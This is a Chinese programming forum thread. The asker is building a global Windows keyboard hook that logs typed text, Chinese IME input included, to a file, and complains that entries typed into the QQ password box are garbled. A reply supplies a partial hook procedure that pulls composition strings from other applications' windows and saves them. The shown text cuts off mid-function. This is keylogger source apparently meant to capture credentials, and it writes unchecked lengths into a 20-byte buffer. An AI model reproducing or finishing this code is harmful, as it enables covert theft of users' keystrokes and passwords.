全局钩子中钩键盘输入(包括中文和英文),然后将其保存到文件中,但在WORD中打一个汉字会保存四个或八个同样的这样的汉字,打英文也差不多,在QQ密码框里,输入的内容,是字母就全部变为了a,而数字全变为了1,是什么原因,高手指点呀。另外按一次键也会产生两次消息。我的钩子是钩WH_GETMESSAGE,然后钩WM_IME_COMPOSITION消息,在SPY中发现打一个汉字会产生四次这个消息,不知道是什么意思。

解决方案 »

  1.   

    LRESULT CALLBACK ExecuteMyHook(int nCode,WPARAM wParam,LPARAM lParam)
    {
       LRESULT lResult=CallNextHookEx(Hook,nCode,wParam,lParam);   PMSG pmsg = (PMSG)lParam;    HIMC hIMC;
        HWND hWnd=pmsg->hwnd;
        DWORD dwSize;
        char ch[20]={'\0'};
        char lpstr[20]={'\0'};
        if (nCode == HC_ACTION)
        {
        
            switch (pmsg->message)
            {
            case WM_IME_COMPOSITION: 
                {
                    
                    if(pmsg->lParam & GCS_RESULTSTR)
                    {
                        //先获取当前正在输入的窗口的输入法句柄
                        hIMC = ImmGetContext(hWnd);
                        if (!hIMC)
                        {
                            MessageBox(NULL, "ImmGetContext", "ImmGetContext", MB_OK);
                        }                    // 先将ImmGetCompositionString的获取长度设为0来获取字符串大小.
                        dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);                    // 缓冲区大小要加上字符串的NULL结束符大小,
                        //   考虑到UNICODE
                        dwSize += sizeof(WCHAR);                    memset(lpstr, 0, 20);
    // 再调用一次.ImmGetCompositionString获取字符串
                        ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize);
               SaveText(lpstr);//这里将字符进行保存